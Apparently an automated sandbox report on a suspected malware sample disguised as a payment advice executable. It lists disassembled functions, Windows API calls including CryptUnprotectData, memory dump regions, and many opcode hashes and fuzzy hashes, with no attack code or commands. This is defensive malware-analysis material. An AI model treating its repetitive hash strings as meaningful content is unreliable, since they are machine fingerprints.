Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C6D05EA2414920DED3226704DC44AAFA3ACEF113107894466F901E61A5D7785C808AFD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2690936672.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2690910719.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2690980563.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2691009289.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405ABB Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9

Analysis Process: PayeeAdvice_HK54912_R0038704_37504.exePID: 6256, Parent PID: 5620COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	11.8%
Total number of Nodes:	93
Total number of Limit Nodes:	8

Executed Functions

Function 39EF5028 Relevance: 8.1, Strings: 4, Instructions: 3069COMMON

Download Yara Rule

Strings

>o9, xrefs: 39EF5351
N, xrefs: 39EF8408
>o9, xrefs: 39EF538F
>o9, xrefs: 39EF5323

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: >o9$>o9$>o9$N
API String ID: 0-1948691326
Opcode ID: 6097843ee863970c5d35e2dc29a73525e45e226bf976b0a87ea7487bd6bd383b
Instruction ID: a30ce76fe5b873ec483a5a80c390a20895b715523c54cc3959466c5fe7cc09c1
Opcode Fuzzy Hash: 6097843ee863970c5d35e2dc29a73525e45e226bf976b0a87ea7487bd6bd383b
Instruction Fuzzy Hash: 6373F731C1075A8EDB10EF68C854AADF7B1FF99300F51D69AE44967221EB70AAD4CF81

Function 00169DE0 Relevance: 6.1, Strings: 4, Instructions: 1145COMMON

Download Yara Rule

Strings

4']q, xrefs: 00169F0C
4']q, xrefs: 0016AB13
4']q, xrefs: 00169E04
(o]q, xrefs: 0016A518

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o]q$4']q$4']q$4']q
API String ID: 0-875651895
Opcode ID: c03625e0c08be1bf960dd3d68dd1d227d46f78f4db18ddb1d43462b682d17f18
Instruction ID: 71ed45cf23857632f74839e09c9ddf7c516ae63be1f4d2b0ebd1f50599e02208
Opcode Fuzzy Hash: c03625e0c08be1bf960dd3d68dd1d227d46f78f4db18ddb1d43462b682d17f18
Instruction Fuzzy Hash: D6A28071600209CFCB15CFA8C994AAEBBF2BF89310F55855AE405EB261D731ED91CF52

Function 00166FC8 Relevance: 5.5, Strings: 4, Instructions: 452
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 00167298
(o]q, xrefs: 00167220
,aq, xrefs: 0016728A
(o]q, xrefs: 00167212

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq
API String ID: 0-1947289240
Opcode ID: 4e2b611bb2ebb5798dfc2cd6c9364c63d71ef80291efa6dd50a1f684cfca0e0c
Instruction ID: 9ad1432be97aed72d0b808e4be7ff9e5c29a631de81c39489cad2bc5e742548d
Opcode Fuzzy Hash: 4e2b611bb2ebb5798dfc2cd6c9364c63d71ef80291efa6dd50a1f684cfca0e0c
Instruction Fuzzy Hash: 82025F70A08219DFCB15CF69CC94AADBBF2BF49308F65806AE815AB3A1D730DD51CB51

Function 0016C147 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016C3EF
PH]q, xrefs: 0016C400

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 6ea71aa535f0e87d2a83d1de42580a0585352834984d2a123cc71270a039ac73
Instruction ID: f84d5c67b8b195264ed4893a3d98456f5949235331de640e94b1c5d6c3a956d4
Opcode Fuzzy Hash: 6ea71aa535f0e87d2a83d1de42580a0585352834984d2a123cc71270a039ac73
Instruction Fuzzy Hash: 37A1D874E01258CFDB18DFA9D894AADBBF2BF89300F15806AE459AB365DB309D41CF50

Function 00165362 Relevance: 2.7, Strings: 2, Instructions: 198COMMON

Download Yara Rule

Strings

PH]q, xrefs: 001655D9
PH]q, xrefs: 001655C8

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: c2fc7add6f5994b34163ccb892f621d5f0d04eb1cda2bb6781eb32618057c157
Instruction ID: adb9e90165ed1e16796fd04ad2b8e7582e6fe868a43f070a4a790476a1395a21
Opcode Fuzzy Hash: c2fc7add6f5994b34163ccb892f621d5f0d04eb1cda2bb6781eb32618057c157
Instruction Fuzzy Hash: 9691E974E00658CFDB18DFA9D884A9DBBF2BF89300F15C0AAE459AB365DB309945CF50

Function 0016C468 Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016C6BF
PH]q, xrefs: 0016C6D0

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: fef3930c37e03e846a9737132fee560f85b271d22760758598a12ef7fb8a9f05
Instruction ID: 14d127db6f869efbee5be826b3c3c9902a1f533d02bf61ec593c93b0a9e02edf
Opcode Fuzzy Hash: fef3930c37e03e846a9737132fee560f85b271d22760758598a12ef7fb8a9f05
Instruction Fuzzy Hash: C491E774E00258CFDB18DFA9D884AADBBF2BF89300F24D16AE459AB365DB305941CF50

Function 0016D278 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016D4E0
PH]q, xrefs: 0016D4CF

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: b114f74619f214094ed6ff7a61bb2a91875ec230f8e030d6f0739816687a060d
Instruction ID: da1cad7a9e34e9d70b2e838764fac19a4095145abf78ddd83c9a455960b6becd
Opcode Fuzzy Hash: b114f74619f214094ed6ff7a61bb2a91875ec230f8e030d6f0739816687a060d
Instruction Fuzzy Hash: 0981B3B4E00258CFDB18DFAAD884A9DBBF2BF89300F148069E459AB365DB349945CF51

Function 0016CA08 Relevance: 2.7, Strings: 2, Instructions: 187COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016CC5F
PH]q, xrefs: 0016CC70

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 70ff244097895fc5b376e654968cda1eb68cc739495ecf8c174179aafcb32457
Instruction ID: 24136ee3df2b8c7586584beb93b4360ba6556e8518f35a7d2003e4d42f7e09de
Opcode Fuzzy Hash: 70ff244097895fc5b376e654968cda1eb68cc739495ecf8c174179aafcb32457
Instruction Fuzzy Hash: EC81B474E01258CFDB18DFAAD894AADBBF2BF89300F14C069E459AB365DB349941CF50

Function 0016C738 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016C9A0
PH]q, xrefs: 0016C98F

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: e17571fd62dfae5777063000a33494449ea5ad28823effe962674868d24bb54a
Instruction ID: 42fc8a3ee2af445a4ac93317a1993226f0f9a3e7e98420a981b2c9fee40c8c1f
Opcode Fuzzy Hash: e17571fd62dfae5777063000a33494449ea5ad28823effe962674868d24bb54a
Instruction Fuzzy Hash: D581B574E00218CFDB18DFAAD984AADBBF2BF89304F14D069E459AB365DB349941CF50

Function 0016CCD8 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016CF40
PH]q, xrefs: 0016CF2F

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 214a39e4baf1312090365d453b49d556aec37a64297f35e53489b5bd5ec637f1
Instruction ID: 7c5b2083e2825df971f75efda8aea14121f40bf2771090662629fd7ed5346457
Opcode Fuzzy Hash: 214a39e4baf1312090365d453b49d556aec37a64297f35e53489b5bd5ec637f1
Instruction Fuzzy Hash: F281B474E00258CFDB18DFAAC884AADBBF2BF89300F14C069E459AB365DB359945CF50

Function 0016CFAA Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH]q, xrefs: 0016D1FF
PH]q, xrefs: 0016D210

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PH]q$PH]q
API String ID: 0-1166926398
Opcode ID: 899f61d5ca5188c0a05b59693778efb06d6413dfbe168eef86d2c8802b0cd184
Instruction ID: f588dbbdc0263344d0aa32b47f76be532446850bc345df1ab9ec28009e11adaf
Opcode Fuzzy Hash: 899f61d5ca5188c0a05b59693778efb06d6413dfbe168eef86d2c8802b0cd184
Instruction Fuzzy Hash: B481C874E00258CFDB18DFA9D884A9DBBF2BF89300F14C069E419AB365DB749985CF51

Function 3A80D710 Relevance: 2.0, Strings: 1, Instructions: 745COMMON

Download Yara Rule

Strings

PEY7, xrefs: 3A80D75D, 3A80D7B2, 3A80D7EC, 3A80D7FE, 3A80D853, 3A80D88D, 3A80D8AB, 3A80D95F

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PEY7
API String ID: 0-1339874439
Opcode ID: 65a94bebb3a5dd69bc022cd33878575f727232e77f9403086c89c3f3cefec103
Instruction ID: 58483b1bf80c7e23a32b42b7f8b0094978b42bd5c9b8872c21b46fb1bf1f3128
Opcode Fuzzy Hash: 65a94bebb3a5dd69bc022cd33878575f727232e77f9403086c89c3f3cefec103
Instruction Fuzzy Hash: D7825C74E012299FDB64DF69CD94BDDBBB2BB89300F1081EAA44DA7261DB315E81CF41

Function 3A778EF1 Relevance: 1.6, APIs: 1, Instructions: 56encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3A778F5D

Memory Dump Source

Source File: 00000004.00000002.3353490212.000000003A770000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a770000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 691a4a98fdb28d41082204823e2942949bba03312f437ad440b49d565e910872
Instruction ID: 39b791b6ada7a0c22239af23ef401a663ac925e9b3bf58f4a222527e6e45f9e2
Opcode Fuzzy Hash: 691a4a98fdb28d41082204823e2942949bba03312f437ad440b49d565e910872
Instruction Fuzzy Hash: CD2156B6800249DFCB10CF99D545BEEBFF5EF88320F14841AE519A7210C33AA594DFA1

Function 3A7787A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3A778F5D

Memory Dump Source

Source File: 00000004.00000002.3353490212.000000003A770000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a770000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 1adf749b9cedd857efeb9c2bcd1d962faf390e12528e3896262e991c8def2177
Instruction ID: 2c93ea2bc4c1a0d6f29bfd377420914e083e954dd3ddb4af1451e6d4f013b456
Opcode Fuzzy Hash: 1adf749b9cedd857efeb9c2bcd1d962faf390e12528e3896262e991c8def2177
Instruction Fuzzy Hash: 0E1159B28003499FDB10CF99C545BEEBFF5EF48320F148459E518A7210C375A594DFA5

Function 39EF9328 Relevance: .5, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dbcfa333e781573af12781ebe7545b169b0e34a76f41e3b863916ebe3e662f8
Instruction ID: 948fde1f2277a97a11e5a730df667265492f221032a8bc4bf49c5967cca5dad2
Opcode Fuzzy Hash: 8dbcfa333e781573af12781ebe7545b169b0e34a76f41e3b863916ebe3e662f8
Instruction Fuzzy Hash: 76225C74E00218CFDB14DFA8C880B9DBBB2BF88304F5185AAD449AB395DB319D85CF91

Function 3A7E5FD8 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8e1654cf16719ddfdfa590d87f58ac47db3e1d57245addf3da7f4a5c84abf15
Instruction ID: aa2b3918407890b7baba45c376dba4a16c7cf76cad7fb752126d9e93c4e2ef53
Opcode Fuzzy Hash: b8e1654cf16719ddfdfa590d87f58ac47db3e1d57245addf3da7f4a5c84abf15
Instruction Fuzzy Hash: D5E1AF74E01218CFDB64DFA9C984B9DBBB2BF89304F2080AAD409BB351DB355A85CF15

Function 3A777B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353490212.000000003A770000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a770000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d0ded307782fc8840d3a17f609e9ea45efcf26a9d91145371883f5bc12b759
Instruction ID: b7f904bc01ca67d506dc0b2daacb06976de23509afd9c389b1cb4b7d02d8d6b6
Opcode Fuzzy Hash: f5d0ded307782fc8840d3a17f609e9ea45efcf26a9d91145371883f5bc12b759
Instruction Fuzzy Hash: 9BE1A274E11218CFEB54DFA5C984B9DBBB2BF89304F2081AAD409BB391DB355A85CF50

Function 3A7E6678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353547375.000000003A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7e0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44f4661f86bc0d473ceaf67d47790c2ced2c0132487831026a71ad7e4c647f3b
Instruction ID: 7531b58edaab521a875ffc8a0e66564fec7606279c34d7c1b9e3337f83fe7c11
Opcode Fuzzy Hash: 44f4661f86bc0d473ceaf67d47790c2ced2c0132487831026a71ad7e4c647f3b
Instruction Fuzzy Hash: 1ED19074E013288FDB64DFA5C994B9DBBB2BF89300F2081A9D419AB354DB359E85CF50

Function 3A811CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75bf42016a166d5f87ee48d47c24fbe3a729267beb5abaf649f4f52ec242e9ec
Instruction ID: 434ba0edd2ff61a2f9a1022ec4c4e44562cd74f5844227738077c394411da379
Opcode Fuzzy Hash: 75bf42016a166d5f87ee48d47c24fbe3a729267beb5abaf649f4f52ec242e9ec
Instruction Fuzzy Hash: 67D18E74E012288FDB54DFA5C994B9DBBB2BF89300F2081AAD409AB354DB359E85CF51

Function 3A778FB0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353490212.000000003A770000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a770000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce473154f9c1193cb7e33106445ed4c2d5011a0c482ccd11d307357713ee4f92
Instruction ID: ec357bcb621c20b43b26700f6bd467e4191daa4fdaaf516b0545ce39eff378b2
Opcode Fuzzy Hash: ce473154f9c1193cb7e33106445ed4c2d5011a0c482ccd11d307357713ee4f92
Instruction Fuzzy Hash: 94D1A178E11218CFDB54DFA9C994B9DBBB2BF89300F2080A9D809AB355DB315D86CF51

Function 3A77B7A8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353490212.000000003A770000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a770000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b87edb82169e712077ce1838809e7e502ece033e4f5a25d592faf83278f256
Instruction ID: 4b38df012983d5c1f9ee4c5df61b7265a028fc87a88bc543ca48324780be0da1
Opcode Fuzzy Hash: 06b87edb82169e712077ce1838809e7e502ece033e4f5a25d592faf83278f256
Instruction Fuzzy Hash: 8FD1A078E10218CFDB54DFA9C994B9DBBB2BF89300F2080A9D809AB355DB355D86CF51

Function 39EF2968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b44e782a0dbb8b09e4a8fc3ab7a0c6f2b0f41996e46966c239f6e40a64a34f0d
Instruction ID: 2538ab923bef275f35e699479f328ef6190875b9d4b8e2ff6a0929b35baf691e
Opcode Fuzzy Hash: b44e782a0dbb8b09e4a8fc3ab7a0c6f2b0f41996e46966c239f6e40a64a34f0d
Instruction Fuzzy Hash: ABC1B178E11218CFDB54DFA5C944B9DBBB2BF88304F1080AAD809AB355DB355E85CF50

Function 39EFE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1036ecdceb61af0364349d4feddffed0483cd0f76fbf3c8c6bec6b7142bd92cd
Instruction ID: 35a691c1f6e337a0d24ef1d4cf19db1adef6236d3747b4c17cab7f7278178e9a
Opcode Fuzzy Hash: 1036ecdceb61af0364349d4feddffed0483cd0f76fbf3c8c6bec6b7142bd92cd
Instruction Fuzzy Hash: A2C1A274E11218CFDB54DFA5C954B9DBBB2BF89300F2080AAD409AB395DB35AE85CF50

Function 39EFDE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6598e055113a980c1dd18e0a4521fdfead2000af8d550c2b9c3bb2ae8b43a1e
Instruction ID: 368286cd206caaf024760731f8ef82c0d60eb931d568fcd9dc8612e495150d2b
Opcode Fuzzy Hash: c6598e055113a980c1dd18e0a4521fdfead2000af8d550c2b9c3bb2ae8b43a1e
Instruction Fuzzy Hash: 3DC1C374E10218CFDB54DFA5C944B9DBBB2BF89300F2080AAD409AB395DB35AE85CF50

Function 3A777720 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353490212.000000003A770000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a770000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da33f78a04eb556008ae27fb91984b6deb4a5f918ab886fa7b1c9416dcd831a9
Instruction ID: bf96a0e23c5b59fd2d16ca3ddb66a151199dd03ef3cf75e175718f0fe53d5906
Opcode Fuzzy Hash: da33f78a04eb556008ae27fb91984b6deb4a5f918ab886fa7b1c9416dcd831a9
Instruction Fuzzy Hash: 7EC1B374E11218CFDB54DFA5C994BADBBB2BF89300F2080AAD409AB355DB355E85CF50

Function 3A993E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353733702.000000003A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a990000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b4aed8cbd06b408baacbae015e6bf8c4ae814d64e206e3b0925c6b9f51ea88
Instruction ID: 00dbd5644a920990c6ff1170fbb1ee9ed47860a9030c87e5340d1875bacccc28
Opcode Fuzzy Hash: 46b4aed8cbd06b408baacbae015e6bf8c4ae814d64e206e3b0925c6b9f51ea88
Instruction Fuzzy Hash: 41917A76900619CFE710EFA0C9597EEBBB1FB56306F101429D102B72E1CB780A49CF95

Function 3A993E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353733702.000000003A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a990000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db6f452efc87c3b96f9a89a17e7dd119252f75c4c3354beb25bbbd30e2c95cdd
Instruction ID: d87fa3772f863201194da985d83f326857fde124306d88fee78dc124ef3fa695
Opcode Fuzzy Hash: db6f452efc87c3b96f9a89a17e7dd119252f75c4c3354beb25bbbd30e2c95cdd
Instruction Fuzzy Hash: 0C917A76900619CFE710EFA0C9597EEBBB1FB56306F101419D102B72E1CB780A45CF95

Function 39EF2DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9f1e8157d342d05e5643f1554de14489fc940ab9689f91d50039a0aa613f1ad
Instruction ID: 43e6b742c9b58a90b8dc1e43fda0b1267644a78b2249751f02fc235ea014db75
Opcode Fuzzy Hash: e9f1e8157d342d05e5643f1554de14489fc940ab9689f91d50039a0aa613f1ad
Instruction Fuzzy Hash: E5A1E274D00208CFDB14DFA9C944B9DBBB1BF88314F20926AE409AB3A1DB759985CF55

Function 39EF1E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

